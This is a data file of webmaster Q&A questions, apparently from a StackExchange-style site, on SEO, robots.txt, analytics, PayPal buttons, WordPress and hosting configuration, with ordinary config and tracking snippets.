{"id":"58486","title":"How do form submissions affect PageRank?","text":"I notice that large sites like Facebook and Twitter redirect users to alternative login pages if they do not enter their login credentials properly. I'm still fairly new to SEO, but my UX knee-jerk reaction is that this is probably done for a reason, since the better experience clearly would be to keep the user on the first page they were on and append them with a \"bad username\"\/\"bad password\" message (like what stackexchange does). My reasoning is; since logins are a form, pushing to a new page after any submit — proper login or not — might be an easy way to squeeze more hits out of a site. I'm wondering if I'm correct about this, as there are likely many other reasons for redirecting on a bad username and password."}
{"id":"6659","title":"What is a good robots.txt for WP?","text":"What is the \"best\" setup for robots.txt? I'm using the following permalink structure in Wordpress: `\/%category%\/%postname%\/`. My robots.txt currently looks like this (copied from somewhere a long time ago): User-agent: * Disallow: \/cgi-bin Disallow: \/wp-admin Disallow: \/wp-includes Disallow: \/wp-content\/plugins Disallow: \/wp-content\/cache Disallow: \/wp-content\/themes Disallow: \/trackback Disallow: \/comments Disallow: \/category\/*\/* Disallow: *\/trackback Disallow: *\/comments 1. I want my comments to be indext. So I can remove this, right? 2. Do I want to disallow indexing categories because of my permalinkstructure? 3. An article can have several tags and be in multiple categories. This may cause duplicates in google. How should I work around this? Would you change anything else here?"}
{"id":"6655","title":"facebook share and opengraph","text":"I'm managing a video blog. The blog contains a main youtube video on the homepage and several thumbnail images of other videos elsewhere. I have a share button for the main page and the single posts pages and have added opengraph to specify the used image. For some reason facebook ignores my opengraph image and uses othe images it finds in the page... the header looks like this: (for the homepage) <!-- Facebook Opengraph --> <meta property=\"fb:app_id\" content=\"155967927783206\" \/> <meta property=\"og:url\" content=\"http:\/\/mttv.co.il\/2010\/12\/%d7%9e%d7%a4%d7%92%d7%a9-%d7%a1%d7%99%d7%99%d7%a2%d7%95%d7%aa-%d7%92%d7%a0%d7%a0%d7%95%d7%aa-%d7%9c%d7%93%d7%95%d7%a8%d7%aa%d7%99%d7%94%d7%9d-1959-2010-%d7%91%d7%9e%d7%a2%d7%9c%d7%95%d7%aa\/\"\/> <meta property=\"og:title\" content=\"מפגש סייעות גננות לדורתיהם 1959-2010 במעלות\" \/> <meta property=\"og:description\" content=\"מפגש מיוחד של סייעות גננות במעלות לדורותיהם משנת פעילות 1959 ועד 2010 אירגון המפגש באחריות הגב' שוש דהן ונערך בחצר מוזיאון המייסדים במעלות ע"ש יעקב חזן ז"ל עריכה וצילום שרביט שלמה 08.12.10 \" \/> <meta property=\"og:type\" content=\"article\" \/> <meta property=\"og:image\" content=\"http:\/\/www.mttv.co.il\/wp-content\/uploads\/2010\/12\/Gvi91UEjCAw_mid-135x77.jpg\" \/> The website address is: http:\/\/mttv.co.il Any help will be appreciated"}
{"id":"42895","title":"Converting Free \/ Paid Fonts via fontsquirrel for Web Use","text":"I was trying to upload a **GillSansMTPro-Book** font to fontsquirrel.com\/fontface\/generator But I got this message > Monotype has requested that their font Gill Sans MT Pro Book be blacklisted > by the Generator. You will not be able to convert this font. But if you google \"GillSansMTPro-Book\" the first link you get is this which allows you to download the font for free. 1. Why does Monotype disallow the conversion of a free font ? 2. What if I buy a paid font - how will fontsquirrel 'know' that its a licensed one ? How can I convert that for web use ?"}
{"id":"6653","title":"Tables: How to achieve \"normal\" td widths, but 100% table width?","text":"On our site we have tables containing data. We like the column widths we get with a normal `table`, but we like the border-bottom of `td`s to stretch the entire width of the page like we get with CSS: `table { width:100% }`, as can be seen on a demo table widths page. Is it possible to achieve the same column widths as with a normal (non- width-100%) table in a table where the border-bottom stretches the entire width? Btw, is there _a better way_ (tm) of showing HTML snippets than linking to an external page? I can show just source, but having HTML rendered too is _so_ illustrative. We need a solution that works in at least IE6-8 + FF."}
{"id":"6652","title":"how do I programmatically upload pictures to facebook?","text":"Ok, so here was my first question: How do I allow visitors on my site to share my photos on their facebook news feed? After implementing it I realized what I really want is a link that uploads the image as a photo to their photo album. How would I got about getting an image on my site to upload to their photo album when they click on a facebook icon next to the image? Any thoughts at all are appreciated. Thank You."}
{"id":"52899","title":"Cookie being assigned on website","text":"I am updating our privacy policy and was checking what cookies were being assigned to visitors from our website. I found one that I am unaware of. It is a Drupal 6 site and there is no module being used for cookies. Here it is: NAME SESSdc9c27ea8a315c880910709856639859 VALUE dh82otuopssampaguospoh26a7 DOMAIN mydomain.ca PATH \/ EXPIRES 10\/3\/2013 7:18:36 PM"}
{"id":"56249","title":"Impact of migrating whole site from HTTP to HTTPS","text":"We migrated our website to HTTPS everywhere and we have setup a 301 redirect on all the pages when the protocol is HTTP. However, one of the SEO experts who is helping us with all things SEO sent us the following email: > Currently I have found a workaround where I'm using https as the base URL as > **301 redirect to https has removed all http pages from Google index** which > means I'm starting from scratch as far as indexing is concerned, because of > this redirection and removal of all http pages from Google index, traffic > numbers are affected and I'm working hard to restore them. Is this true? Does Google lose all the indexed pages from HTTP when HTTP is migrated to HTTPS using a 301 redirect?"}
{"id":"57066","title":"Should I specify both <a rel=\"alternate\"> and <link rel=\"alternate\"> for multilingual websites?","text":"I have read Google's recommendations regarding `<link rel=\"alternate\">` in the `<head>` for multilingual websites. As far as I know, we can also use `rel=\"alternate\"` on `<a>` tags, and so far I've been using this technique on visible links to switch between different languages of my website like this: <ul> <li> <a href=\"\/en\/\" rel=\"alternate\" hreflang=\"en\" lang=\"en\">English<\/a> <\/li> <li> <a href=\"\/fr\/\" rel=\"alternate\" hreflang=\"fr\" lang=\"fr\">Français<\/a> <\/li> <\/li> The Google Webmaster Tools answer doesn't mention this technique in regards to `<a>` tags though, so should I use `<link>` tags in the header in addition to `<a>` tags in the body, even though they are redundant?"}
{"id":"10809","title":"Tool for RSS \"Archive\" in XML","text":"Does anyone know of a web app or some such tool that simply checks an RSS feed and archives each news item and has the ability to export rss or generic xml (or even better, automatically saves it). I'm having a surprisingly hard time finding anything like this. A programmatic solution should not be difficult, but I'd like to identify a user-friendly tool for a client."}
{"id":"52891","title":"Why would someone log everything you do on their website?","text":"I was searching on Google and I clicked on 1 of the ads related to my search, I noticed on that website that every time I do something like scrolling or selecting text there is a request sent to a file called `log.php` and the request submits the timestamp, the event type `dom.stream`, the page url, and some events like the following: [{\"timestamp\":1378835757,\"event_type\":\"dom.scroll\",\"x\":0,\"y\":559}, {\"timestamp\":1378835757,\"event_type\":\"dom.scroll\",\"x\":0,\"y\":570}, {\"timestamp\":1378835758,\"event_type\":\"dom.scroll\",\"x\":0,\"y\":629}, {\"timestamp\":1378835758,\"event_type\":\"dom.scroll\",\"x\":0,\"y\":747}, {\"timestamp\":1378835763,\"event_type\":\"dom.movement\",\"cursor_x\":\"1239\",\"cursor_y\":\"1018\"}, {\"timestamp\":1378835763,\"event_type\":\"dom.movement\",\"cursor_x\":\"842\",\"cursor_y\":\"985\"}, {\"timestamp\":1378835763,\"event_type\":\"dom.movement\",\"cursor_x\":\"841\",\"cursor_y\":\"985\"}, {\"timestamp\":1378835763,\"event_type\":\"dom.movement\",\"cursor_x\":\"663\",\"cursor_y\":\"1054\"}, {\"timestamp\":1378835764,\"event_type\":\"dom.movement\",\"cursor_x\":\"661\",\"cursor_y\":\"1054\"}, {\"timestamp\":1378835764,\"event_type\":\"dom.movement\",\"cursor_x\":\"459\",\"cursor_y\":\"1125\"}, {\"timestamp\":1378835764,\"event_type\":\"dom.movement\",\"cursor_x\":\"414\",\"cursor_y\":\"1143\"}, {\"timestamp\":1378835764,\"event_type\":\"dom.movement\",\"cursor_x\":\"261\",\"cursor_y\":\"1174\"}, {\"timestamp\":1378835766,\"event_type\":\"dom.movement\",\"cursor_x\":\"263\",\"cursor_y\":\"1177\"}, {\"timestamp\":1378835766,\"event_type\":\"dom.movement\",\"cursor_x\":\"596\",\"cursor_y\":\"1116\"}, {\"timestamp\":1378835766,\"event_type\":\"dom.movement\",\"cursor_x\":\"596\",\"cursor_y\":\"1115\"}, {\"timestamp\":1378835766,\"event_type\":\"dom.movement\",\"cursor_x\":\"1074\",\"cursor_y\":\"967\"}, {\"timestamp\":1378835766,\"event_type\":\"dom.movement\",\"cursor_x\":\"1189\",\"cursor_y\":\"947\"}] also the request sends the visitor id and the referrer, all of these are sent with everything I do on the website. This is the first time I see something like this, and I'm wondering if it's for legit purposes or not ? and how does it help the site webmaster ?"}
{"id":"38522","title":"Allow access to WordPress site only by links in email newsletters","text":"I send out a personal email newsletter, and have been looking into sending it via some service like MailChimp, or sendy.co. Many of these email services suggest, or require, the email newsletter content to be available online, in case the recipient's email app doesn't render it properly, or at all. The thing is I don't want my newsletter contents visible to the whole world. Nor do I want to require existing recipients to make accounts\/be assigned accounts, with passwords. So, the question is: **How can my WordPress site content be viewable _only_ by clicking on the link to it in the email newsletter.** It can't be found in a Google search; but once at the site the visitor can view previous newsletter contents. It seems an .htaccess file would do the trick, but I have been unable to figure out the syntax for this. Thanks for your help. I have copied below two other questions, and answers, which have helped me word my question clearly. Similar to this request about allowing access to a certain group while still restricting access to the world: Is there a way to password protect directory only in cpanel. But the user should not be prompted the password, when they try to access it via web? This persons question is the closest I could find to my situation: Restrict direct folder access via .htaccess except via specific links"}
{"id":"52896","title":"Should each heading tag include text related to the page title for dynamic content?","text":"New pages are created within my website by users who add new content. Currently the heading tags are the same for each new page. For SEO purposes, would it be better to relate the heading tags to the page title or keep them the same static throughout the website? I have done some research and it seems that heading tags that related to a specific page's content (and not the overall website niche) seem to perform better, or is this just coincidence?"}
{"id":"27199","title":"canonical link to the home page","text":"A friend and I are debating the use of the canonical tag. I say if I'm on http:\/\/www.example.com\/page.html but my site has moved to http:\/\/www.BetterExample.com my canonical tag needs to be <link rel=\"canonical\" href=\"http:\/\/www.BetterExample.com\/page.html\" \/> while my friend says it's OK if it's <link rel=\"canonical\" href=\"http:\/\/www.BetterExample.com\/\" \/> I'd like not only a \"who's right\" but ideally a link to an article that discusses my friend's example."}
{"id":"57113","title":"Controlling robot crawling concurrency using robots.txt and the undocumented setting \"host-load\"","text":"I'm not much of a network guy, and I am troubleshooting an issue where one of our sites intermittently becomes unresponsive to a reverse proxy: it simply starts turning down connections, and then after 30 minutes or so, everything is fine again. The server doesn't appear overloaded, responds just fine to loopback traffic, but is just apparently turning down connections from the proxy... This will likely be a multifaceted problem. Looking at the server as a whole, I noted we do get a lot of traffic from external web crawlers, and even more so from an internal Google Search Appliance (GSA). I wanted to explore whether the degree of parallelism in the crawling is the problem. I am aware of the crawl delay setting which would help reduce overall traffic, but would also affect the frequency of crawling and add delay to indexing. It doesn't seem like the most optimal way to control load from crawlers anyway. At any rate the frequency of requests should not be a problem... If Google wants to crawl constantly all day long every second, it's fine. As long as they don't hold too many connections open while this is done, it shouldn't really impact our ability to service other connections. It's hard to tell with `netstat` how many concurrent Googlebots are originating connections, as the only established connections I will see at a given time are the ones that take a little longer to finish. At any rate, I'm not seeing more than two active connections at a time, and many more `TIME_WAIT` connections (i.e., Googlebot finished, closed its connection, and we are waiting to close on our side for a few minutes...default TCP stuff). Then there's this: Robots.txt Q&A with Matt Cutts This page talks about an apparently undocumented (not a part of Robots Exclusion Protocol) setting called `host-load`. This setting should in theory allow me to specify how many Googlebots will connect concurrently, and it's perfect because I can use one thing to tell our GSA and any other Googlebot hosts looking at us the degree of parallelism we can handle... So that seems cool, however since no one but Matt Cutts (being a Google engineer heading up their webspam team) apparently has even mentioned this setting, I was curious if anyone else is using it? If I knew for instance that the default `host-load` for Googlebot is 2, I can completely rule out parallel web crawlers as part of the problem. So that's one question. The fact that he used 2 for example in the Q&A seems to imply that 2 is the default `host-load`, and it correlates with what I've seen from `netstat`. The bigger question is: Is anyone aware of a list or reference of extended _robots.txt_ properties that aren't formalized in the Robots Exclusion Protocol? I would assume with so many crawlers out there, there would be all kinds of proprietary settings."}
{"id":"57110","title":"Signing into Google account refreshes already open webpage","text":"I have noticed that signing into my Gmail account, automatically causes some webpage to refresh. For example, signing into Gmail while keeping http:\/\/poetsandquants.com\/2014\/01\/10\/the-spaceship-enterprise-comes-to-yale\/ open in another tab causes the page to refresh once signin\/out is done. * How is this done? * I am guessing this is some sort of tracking mechanism. Is this a known \"feature\" and legal? How can I implement this for my own website?"}
{"id":"6387","title":"Please advice Canadian hosting","text":"please advice good Canadian hosting could offer different c-class IPs Thanks a lot, J"}
{"id":"21068","title":"403 Forbidden Error?","text":"I recently ran Xenu link checker on my site. I link to several Wikipedia pages and ever wiki page generates a 403 code. Here is an example of the message: http:\/\/en.wikipedia.org\/wiki\/Alaska error code: 403 (forbidden request), linked from page(s): http:\/\/www.mysite.com\/page.html I know a 403 error code is: A 403 Forbidden is an HTTP status code returned by a web server when a user requests a web page or media that the server does not allow them to. In other words, the server can be reached, but the server declined to allow access to the page. My question is why does it generate that error? I can click the page without issue. Does it have something to do with the checker running scans?"}
{"id":"6382","title":"Just re-mapped my Squarespace site to my own domain, how about my tracking snippet?","text":"I just re-routed mydomain.com and www.mydomain.com to redirect (sorry wrong word, the URLs are actually using mydomain.com) to mydomain.squarespace.com using the custom mapping for squarespace and godaddy DNS manager. My question is this, the proprietary, host analytics should still work. However, will Google Analytics still work right or do I need to tweak to get it to actually work right? I checked that Analytics is receiving data after the transition, however, I have a few questions: 1. will it still be referring to mydomain.squarespace.com, or mydomain.com? 2. is traffic between the two the same\/equivalent? 3. do I need to update my tracking script somehow?"}
{"id":"16312","title":"PHP permissions","text":"**Can someone please explain best practice for permissions with PHP.** What case should something be writable, executable, what owner is best, etc. ? Using an apache server Moved to http:\/\/webmasters.stackexchange.com\/questions\/16032\/php-permissions"}
{"id":"19873","title":"Robots.txt and specific file inclusion","text":"Is it possible to use robots.txt to disallow crawling of a folder, but allow crawling a specific file in that folder?"}
{"id":"6388","title":"Where do I find traffic sources for same-domain traffic?","text":"I have two different Google Analytics accounts set up. One that is used everywhere on `example.com`, and another that is used only within the `example.com\/blog` path. I'm trying to figure out where within my `example.com` GA account I can track users who are navigating from the `\/blog` GA account. I tried looking under Traffic Sources > Referring Sites, then filtering by `example.com`. This does show as a source there, but when I clicked on it to view referral paths for that source, none of the referral paths were for `\/blog`; instead, they were all just other pages within the same domain (and thus the same GA account). Where should I be looking?"}
{"id":"31255","title":"Where can a list of Desktop web browsers be found at?","text":"I have another question posted in regards to the practicality of whitelisting. In this question I'm simply looking for an frequently updated list of top known used Desktop web browsers to use as part of my whitelist. I'm not trying to target any specific OS so please show one, show all. The list of browsers for desktops isn't exploding, but it does grow. I've only recently been made aware of other browsers that have multiple rendering engines. I'm not always on top of the text based browsers found out there either. I'm aware of the mobile browser platform and there is an active list used with regular expression for identification purposes that I will use as well as whatever I can find for the desktop platforms."}
{"id":"49421","title":"Google Analytics: Ecommerce, set Source \/ Medium","text":"I added standard Google E-commerce code to my page. Everything works fine, just the `Source\/Medium` value is just always my domain. How do I get the normal source, or set it? In short, how do I get a reference to where people came to shop from? Test script: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-XXXXXXX-1', 'my-page.com'); ga('send', 'pageview'); <\/script> <script> ga('require', 'ecommerce', 'ecommerce.js'); ga('ecommerce:addTransaction', { 'id': '111, \/\/ Transaction ID. Required. 'affiliation': 'Affiliation name', \/\/ Affiliation or store name. 'revenue': '3.29', \/\/ Grand Total. 'shipping': '1', \/\/ Shipping. 'tax': '3.11' \/\/ Tax. }); ga('ecommerce:addItem', { 'id': '111', \/\/ Transaction ID. Required. 'name': 'Prod1', \/\/ Product name. Required. 'sku': 'SKU00011', \/\/ SKU\/code. 'category': 'Prod category', \/\/ Category or variation. 'price': '155.21', \/\/ Unit price. 'quantity': '1' \/\/ Quantity. }); ga('ecommerce:send'); ga('ecommerce:clear'); <\/script> What i need get: "}
{"id":"60182","title":"Google jQuery hosted library - is it any good?","text":"Is there any REAL touchable benefit of using the Google jQuery hosted library? Or shall we just download it to our server? What are your opinions on this?"}
{"id":"25538","title":"Name of virtualhost (apache)","text":"I need to create virtualhost with name \"virtualhost_name\". To access it with `http:\/\/virtualhost_name` I have a pattern: <VirtualHost *:80> ServerAdmin jan@novak.cz DocumentRoot \"path\" ServerName Name_of_server ErrorLog \"logs\/error.log\" CustomLog \"logs\/log.log\" common <\/VirtualHost> _**Where should I write the name?_**"}
{"id":"60180","title":"What is using so much of my disk space?","text":"I have a 768MB VPS, on which I host 1 website. That website has WordPress installed and a MyBB forum and it fills 22 GB in space. It shouldn't have more than 1 GB. And a few weeks ago it had 15 GB in space, so it's increasing even though I haven't added\/uploaded anything. The email service is disabled and I've looked through the files on the website and didn't saw any file that could be responsible for so much space usage. Where else can I look?"}
{"id":"2384","title":"Linux HTML\/XML W3C Validation Utilities","text":"What programs can I use to validate HTML\/XML markup? Basically, I want a local, command-line based, version of W3C HTML validation service (like `lint`) that I can use for detecting errors. **Update** I would also accept a solution that uses the W3C web service from the command line. **Related Questions:** http:\/\/webmasters.stackexchange.com\/questions\/1802\/how-can-i-validate-html- offline"}
{"id":"60188","title":"\"manage brand terms\" option in GA","text":"As of today I have a new setting in one of my Google Analytics Accounts in Admin->Channel Groupings which is called \"Manage Brand Terms\" (see screenshot). I have not found documentation for this feature. Obviously this has to do with search, but from the sparse info in the tooltips - \" _We'll use this to classify your queries_ \" - I do not quite understand what this does or how to use the setting. The settings don't seem to be reflected anywhere in the reports. If anybody knows what this is about and is willing to share I'd be grateful. "}
{"id":"49602","title":"SEO: Using the same image on separate webpages with different 'alt' tags.","text":"If I use same image URL on separate webpages with different `alt` tags for each, will it have any negative impact on SEO? What is the best practice to utilize the same image on separate webpages?"}
{"id":"47903","title":"using gmail for automated site emails - recommended? allowed?","text":"is it okay to use gmail to send automated emails for your website via SMTP? i know there are services like Amazons SES, but i don't know if i need it. I want to only send the following types of automated emails: * Payment receipts * Password reset codes * Anything related to the user's money or security I do _not_ want to send newsletters or any types of mass emails. I have no idea how many emails i'm potentially going to send. My concerns: * Is this reliable? * Is it allowed by google's TOS? i am using a free google apps account anything else i should know? thanks"}
{"id":"63187","title":"How to handle the empty Google AdSense ad block","text":"Now I have a case that ad block is empty for some reason. Is there any way to force Google to show at least something in this block (let say a blue rectangle)? Or may be I can skip the empty ad block to avoid the empty white areas? It looks weird if the part of page is just empty. Thanks!"}
{"id":"65581","title":"How can I add 'sub1.sub2.domain.com' to my GoDaddy hosting account?","text":"I'm using GoDaddy's Ultimate hosting plan, and I'd like to know how to add `sub.sub domain` to it. For example, I want to create a site as `es.n.domain.com`. However, GoDaddy tells me when I add the dot that it cannot be added because of forbidden characters, saying: `Your Subdomain name(s) can only contain letters, numbers, and dashes`. But I've already created it in the \"DNS Zone Editor\" and it successfully accepted it. As a test I forwarded that `sub1.sub2.domain.com` to my IP-address with a local web server I have installed in my computer and it ran just fine. I was able to access the domain `sub1.sub2` as a vhost on Apache. Is there a way to do this in my GoDaddy hosting account?"}
{"id":"63184","title":"What if my HTML snapshot for Googlebot doesn't contain the same content as the dynamically created page?","text":"According to Google here: > The HTML snapshot must contain the same content as the dynamically created > page. What if my returned HTML Snapshot doesn't contain the same content as the actual dynamically created page in my site? I just want to add some more keywords for SEO purposes which I can't put in my actual pages!"}
{"id":"63181","title":"Showing schema.org aggregate rating in Google rich snippets","text":"After adding schema.org microdata markup for reviews and aggregate ratings, I expected review and rating information to show up in rich snippets. Unfortunately, neither are being shown. Google's Structured Data Testing Tool finds the microdata, and there're no errors or warnings on the page. Any idea what's wrong with the microdata markup? Example 1: * Live Page: http:\/\/www.shelflife.net\/ljn-thundercats-series-3\/bengali * Google Test: http:\/\/www.google.com\/webmasters\/tools\/richsnippets?q=http%3A%2F%2Fwww.shelflife.net%2Fljn-thundercats-series-3%2Fbengali Example 2: * Live Page: http:\/\/www.shelflife.net\/star-wars-mighty-muggs\/asajj-ventress * Google Test: http:\/\/www.google.com\/webmasters\/tools\/richsnippets?q=http%3A%2F%2Fwww.shelflife.net%2Fstar-wars-mighty-muggs%2Fasajj-ventress"}
{"id":"21208","title":"Can I bypass PayPal's button generator and submit item details to PayPal using my version of their form?","text":"Getting started with a super simple PayPal shop on a flat HTML site. Seems to me there are two ways to go: **1. Use PayPal's button generator** You follow their instructions and they'll generate a button for you. The button will have a 13 digit code which identifies your item's details. You paste that into your HTML. **2. Submit your own form to PayPal** You copy the nuts and bolts of the PayPal form as above, but you haven't gone via their generator so there's no 13 digit code. You have to pass through the item details (in the form of `item_name`, `business` and `amount` fields). The `business` field is your email address in plain text. In both cases you're submitting to `https:\/\/www.paypal.com\/cgi-bin\/webscr` Is that a fair summary? I can see that the advantages of **method 1** are: 1. Your business\/email address doesn't have to be in plain view client side 2. User can't change the price\/item details client side 3. PayPal is making some sensible default decisions about currency etc that you don't have to worry about. Also, w3d's comment in this answer is that using PayPal's button is \"more secure\". In what way it's \"more secure\" isn't specified. However the advantage of **method 2** is that you generate all your own HTML form code and if you've got dozens of products it's much easier and more flexible not to have to labour through PayPal's generator button by button (I know they let you create a new button from existing, but that's still slow). Basically you don't need to duplicate your inventory inside PayPal's site. Is there anything else fundamental that we're missing, because right now we're minded to go with method two for the sake of speed, flexibility and manageability."}
{"id":"21209","title":"Wordpress install directory, how to change it?","text":"I have my wordpress installation on mywebsite.com\/blog I now want to turn my entire mywebsite.com site into a CMS by use of the Wordpress CMS, whilst still maintaining \/blog as the blog area. Rather than exporting my blog posts, then creating a new WP installation on the top-level directory mywebsite.com and then importing my blog posts.. is there an easier way to do this with use of the existing WP installation? If it's easier to transfer the files via FTP from \/blog\/ into the top-level and then adjust the wordpress URL settings that's be amazing! I just don't know how to go about the URL settings side of things.. Thanks!"}
{"id":"21204","title":"Can I legally use a competitor's business name on my site to compare products?","text":"Simply put, does a company have any grounds for legal recourse if their name is used on a competitor's website in the following manner? > **{Product Title and Description}** (Comparable to {Competitor's Name} > product). and in the \"Glossary of Terms\": > **{Competitor's Name}** : A company that {... about them blurb ...} Source: > http:\/\/www.competitor-website.com\/about-us-page The reason for using the competitor's name in the first place is that their brand name is often confused with the actual name of the product being sold - similar to saying \"Kleenex\" when you really mean \"tissues\". The reason for this question is that a representative of the competitor contacted my client threatening legal action. Jurisdiction: USA. * * * _My client has since removed the references, this is more of a question of curiosity than a \"what should I do now?!?\" question._"}
{"id":"37527","title":"If I blocked a directory, is a 301 error expected?","text":"I blocked a directory in my site that is not secret but meant for internal discussions that are not relevant for search engine results. After running \"Search as Google\" at Google Webmaster Tools, the result was a 301 - Moved Permanently. Is this supposed to happen or can this be a black hat cause for my website?"}
{"id":"1847","title":"How do I edit\/modify a file on a webserver using php file in the same location?","text":"I have an XML file on my server. In the same directory I have a PHP file which modifies the content of the XML and saves it. In this, the save part doesn't work. In my knowledge the code is alright and the problem is with the file access persmissions. More details available here: http:\/\/stackoverflow.com\/questions\/3351652\/how- to-save-an-xml-file-on-the-web-server-using-php ( There is nothing wrong with the code. I provided it to give more insights. The problem seems to be with the access permissions ) The permissions of the XML file is: rw-r--r-- (644) My question is, am I doing it right? How do I modify a file in the same directory?"}
{"id":"21170","title":"Streaming videos using Wowza","text":"I need to view the streaming videos in my website. For that I have searched and get the answer to use Wowza (just like FMS). I need to know how can I stream the videos using Wowza and how to store the video files in the server. Have to use any encoder for streaming the videos?"}
{"id":"43604","title":"Does the average user care about the URL?","text":"I was having discussion with a co-worker for a project regarding URLs. My question is does the average user care how the URLs are formatted? Whether it's descriptive or relevant to the content they are looking for. I do realize that a more descriptive URL is better for SEO but I'm wondering about an average user perspective."}
{"id":"43602","title":"How to convert Shockwave Flash 5 files to newer version","text":"How would you go about upgrading old Shockwave Flash files to a newer version? In my case, I have files from Shockwave Flash 5 and see that Adobe is currently on version 12. I want to be sure to upgrade these, so that our users don't have compatibility problems viewing them on our site in the future (i.e. if Adobe stops supporting version 5)."}
{"id":"3251","title":"Creating a \"presentable\"\/filtered twitter profile widget","text":"I would like to include a subset of tweets I make on my professional web development site. Now, twitter provides two applicable widgets: a profile widget and a search widget Unfortunately, the profile widget shows everything I tweet (including off- topic tweets that I don't want shown on my site). On the other hand, the search widget generally only shows tweets that I have made in the last 24 hours, and apparently doesn't search back very far. Here's an example of the search widget in action on my site: http:\/\/royronalds.com\/log.html (showing only one match of what should be many, because that's the only recent match). And here are the widgets: http:\/\/twitter.com\/widgets Is there any way to create a topic-filtered widget, to show only on-topic tweets?"}
{"id":"49462","title":"Is there a way to setup Clicktale tag in Google Tag Manager?","text":"Since GTM doesn't support document.write() method the standard clicktale code doesn't work. Is there a workaround for this? ClickTale employee has sent me these instructions: Replace the document.write JS line above with the following: document.body.appendChild(externalScript); Example: <!-- ClickTale Bottom part --> <script type='text\/javascript'> var externalScript = document.createElement('script'); var scrSrc = document.location.protocol=='https:'? 'https:\/\/clicktalecdn.sslcs.cdngc.net\/': 'http:\/\/cdn.clicktale.net\/'; scrSrc += 'www11\/ptc\/xxx-xxx-xxx-xxx.js'; externalScript.src = scrSrc; externalScript.type = 'text\/javascript'; document.body.appendChild(externalScript); <\/script> <!-- ClickTale end of Bottom part --> I am not sure what to do with this. Has someone tried something like this?"}
{"id":"49463","title":"No data in Google Webmaster Tools traffic, content keywords etc","text":"My site has been live and added to Google Webmaster Tools for over a year now. It doesn't have a pile of incoming links, but there are a few I know of. The site receives an average of 200 visits\/month, so not massive, but not nothing either. The site is in Webmaster Tools, has a sitemap (which is new, admittedly), but I can see nothing in any of the traffic views, nor in the internal links view. The only 'unusual' thing I can see about the site is that everything except the home page is served over HTTPS. Is this normal? I have a friend who runs a website with similar traffic volumes etc, and he can see data in all of these views just fine. Just as additional background: * The domain has been verified with WMT. * The site map has been submitted, and I can see google crawled it ok. * The index stats show 11 pages indexed. * I have an associated Analytics account."}
{"id":"58170","title":"Rich snippets for all schema.org data types?","text":"The list of data types displayed on the Structured Data Markup Helper is limited in comparison to what is available on Schema.org I am wondering if Google supports rich snippets for all schema.org data types as is possibly suggested by https:\/\/support.google.com\/webmasters\/answer\/146645"}
{"id":"14036","title":"Easy way to determine if a client's web host supports\/allows creating SQL databases?","text":"This is a very particular question, but I'm working on establishing a criteria at my company for when we bring new web clients aboard. Our sales team is looking for an effective way to determine whether or not we can install certain software on a client's web server before we sell the client on that service. We help optimize a lot of our client's sites by installing blogs and CMSes to their existing site, but in order to install these blogs we need to be able to create MySQL databases through the client's hosting backend. Of course many big name hosts like GoDaddy and Dreamhost give the user complete access to tools like phpMyAdmin that allow me to create a Wordpress database, for example, so that I can get Wordpress working on their site. Many of our clients however are Ecommerce sites and get their hosting through more locked-down companies that don't offer the ability to utilize SQL databases or other features necessary to complete some of these tasks for clients. It's an odd question, but is there a simple way to determine if a certain web server or hosting company has the ability to use SQL databases with their customers? Finding out the name of the hosting company and then checking if the company offers SQL databases would be one way to do it, but I want to know if there is another solution or web tool or chart on the internet that could help us determine this information."}
{"id":"49468","title":"How many Google Analytics custom variables & advanced segments for each account, property & profile?","text":"Google changes this often and I'm having a hard time finding it in the GA documentation. What are the limits for custom variables and advanced segments? Are they specified at the account, property, or profile levels in Google Analytics?"}
{"id":"49469","title":"Appropriate robots meta for \"printer friendly\" pages","text":"We have many printer-friendly pages that have a link that adds `?pf=1` to the URL. On the `?pf=1` page would it be better to have `noindex,nofollow` or `noindex,follow`. I think that it would be better to have `noindex,follow` as it allows for more links to corresponding pages if the `?pf=1` link happens to be found. However, my colleague suggests using `noindex,nofollow` because the non-`?pf=1` page already has the same links and this would lead to duplicate content. Should I be worried about a duplicate penalty or is it okay to expose the links on the `?pf=1` page for crawling?"}
{"id":"58178","title":"How do I make a web site on my own PC, without DNS, available to others?","text":"I thought if I removed the host name from the site's binding, like the Default Web Site, just my machine name in the URL would work, but I replaced the binding, and thought my machine name\/IP address, plus the host name bound to the site, would work, but it doesn't. I would just like a colleague to have access for testing. I am running IIS 8 on Windows 8. I have a hosts file entry with the URL host name pointing to localhost, like I always do for web sites on remote servers."}
{"id":"54498","title":"Do search engines rank internal redirects negatively?","text":"A client is in the late stages (code complete) of a website redesign and unfortunately hasn't implemented 301 redirects to point high traffic pages to the new URL's. As I understand it our only option at this point is to create redirects within the CMS. Our CMS allows us to do this: 1. www.mysite.com\/category\/current-page.html will redirect to www.mysite.com\/new-category-name\/new-page.html 2. The site now uses custom logic on our 404 page to check this list of redirects and if one exists forwards the user to the new-page.html I understand that using 301 redirects would be the correct way to maintain our page rank but I think that would require a code change which isn't possible. **Question** How will search engines respond to this? Will they wait until the redirect happens and allow us to keep our page rank (authority, trust, etc) or will they see the 404 page and down-rank us? Worst case...will they make our new- page.html start from a rank of \"0\"? Thanks for your help."}
{"id":"5138","title":"For Paypal website payments standard, Do I need to create add to cart buttons using my client's account?","text":"I wish to use Paypal web site payments standard on one of my clients webpages. It's a simple static site, so I do not wish to use a e-commerce package. I'm creating test code using my own paypal account. But when it comes to creating the real buttons, will I need to login using my clients login details? I'm guessing that it would be easier to do this using website payments pro - as I could use the API and then towards the end of development switch it to the client's account \/ token (i'm not sure of the terminology, but understand the concept). In an ideal world, I'm hoping for something similar to Google adwords management accounts, where I can manage my clients' sub-accounts. I'd rather not have to login as my client and instead be able to the work from my own account. Is there a way of achieving this? Or a development workflow anyone reccomends? Feel free to talk geeky to me, I'm a developer - but just don't have much experiance with paypal. -thanks for the help"}
